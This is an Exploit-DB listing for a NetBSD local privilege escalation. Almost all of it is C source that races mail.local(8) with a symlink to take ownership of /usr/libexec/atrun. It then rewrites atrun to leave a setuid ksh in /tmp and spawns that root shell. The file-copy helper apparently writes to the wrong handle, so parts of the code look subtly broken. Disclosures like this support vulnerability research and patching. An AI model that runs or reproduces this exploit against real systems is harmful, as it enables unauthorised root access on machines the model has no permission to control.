NetBSD - 'mail.local(8)' Local Privilege Escalation

EDB-ID:

40141


Author:

akat1

Type:

local


Platform:

BSD

Date:

2016-07-21


// Source: http://akat1.pl/?id=2

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>

#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"

static int
overwrite_atrun(void)
{
        char *script = "#! /bin/sh\n"
            "cp /bin/ksh /tmp/ksh\n"
            "chmod +s /tmp/ksh\n";
        size_t size;
        FILE *fh;
        int rv = 0;

        fh = fopen(ATRUNPATH, "wb");

        if (fh == NULL) {
                rv = -1;
                goto out;
        }

        size = strlen(script);
        if (size != fwrite(script, 1, strlen(script), fh)) {
                rv =  -1;
                goto out;
        }

out:
        if (fh != NULL && fclose(fh) != 0)
                rv = -1;

        return rv;
}

static int
copy_file(const char *from, const char *dest, int create)
{
        char buf[1024];
        FILE *in = NULL, *out = NULL;
        size_t size;
        int rv = 0, fd;

        in = fopen(from, "rb");
        if (create == 0)
                out = fopen(dest, "wb");
        else {
                fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
                    S_IWUSR);
                if (fd == -1) {
                        rv = -1;
                        goto out;
                }
                out = fdopen(fd, "wb");
        }

        if (in == NULL || out == NULL) {
                rv = -1;
                goto out;
        }

        while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
                if (fwrite(&buf, 1, size, in) != 0) {
                        rv = -1;
                        goto out;
                }
        }

out:
        if (in != NULL && fclose(in) != 0)
                rv = -1;
        if (out != NULL && fclose(out) != 0)
                rv = -1;
        
        return rv;
}

int
main()
{
        pid_t pid;
        uid_t uid;
        struct stat sb;
        char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;

        umask(0077);

        login = getlogin();

        if (login == NULL)
                err(EXIT_FAILURE, "who are you?");

        uid = getuid();

        asprintf(&mailbox, MAILDIR "/%s", login);

        if (mailbox == NULL)
                err(EXIT_FAILURE, NULL);

        if (access(mailbox, F_OK) != -1) {
                /* backup mailbox */
                asprintf(&mailbox_backup, "/tmp/%s", login);
                if (mailbox_backup == NULL)
                        err(EXIT_FAILURE, NULL);
        }

        if (mailbox_backup != NULL) {
                fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
                    mailbox_backup);

                if (copy_file(mailbox, mailbox_backup, 1))
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* backup atrun(1) */
        atrun_backup = strdup("/tmp/atrun");
        if (atrun_backup == NULL)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
            atrun_backup);

        if (copy_file(ATRUNPATH, atrun_backup, 1))
                err(EXIT_FAILURE, "[-] failed");

        /* win the race */
        fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);

        switch (pid = fork()) {
        case -1:
                err(EXIT_FAILURE, NULL);
                /* NOTREACHED */

        case 0:
                asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
                    "2> /dev/null", login);

                for(;;)
                        system(buf);
                /* NOTREACHED */

        default:
                umask(0022);
                for(;;) {
                        int fd;
                        unlink(mailbox);
                        symlink(ATRUNPATH, mailbox);
                        sync();
                        unlink(mailbox);
                        fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
                        close(fd);
                        sync();
                        if (lstat(ATRUNPATH, &sb) == 0) {
                                if (sb.st_uid == uid) {
                                        kill(pid, 9);
                                        fprintf(stderr, "[+] won race!\n");
                                        break;
                                }
                        }
                }
                break;
        }
        (void)waitpid(pid, NULL, 0);

        if (mailbox_backup != NULL) {
                /* restore mailbox */
                fprintf(stderr, "[+] restore mailbox %s to %s\n",
                    mailbox_backup, mailbox);

                if (copy_file(mailbox_backup, mailbox, 0))
                        err(EXIT_FAILURE, "[-] failed");
                if (unlink(mailbox_backup) != 0)
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* overwrite atrun */
        fprintf(stderr, "[+] overwriting atrun(1)\n");

        if (chmod(ATRUNPATH, 0755) != 0)
                err(EXIT_FAILURE, NULL);

        if (overwrite_atrun())
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] waiting for atrun(1) execution...\n");

        for(;;sleep(1)) {
                if (access("/tmp/ksh", F_OK) != -1)
                        break;
        }

        /* restore atrun */
        fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
            ATRUNPATH);

        if (copy_file(atrun_backup, ATRUNPATH, 0))
                err(EXIT_FAILURE, "[-] failed");
        if (unlink(atrun_backup) != 0)
                err(EXIT_FAILURE, "[-] failed");

        if (chmod(ATRUNPATH, 0555) != 0)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
            "ownership.\n");
        fprintf(stderr, "Enjoy your shell:\n");

        execl("/tmp/ksh", "ksh", NULL);

        return 0;
}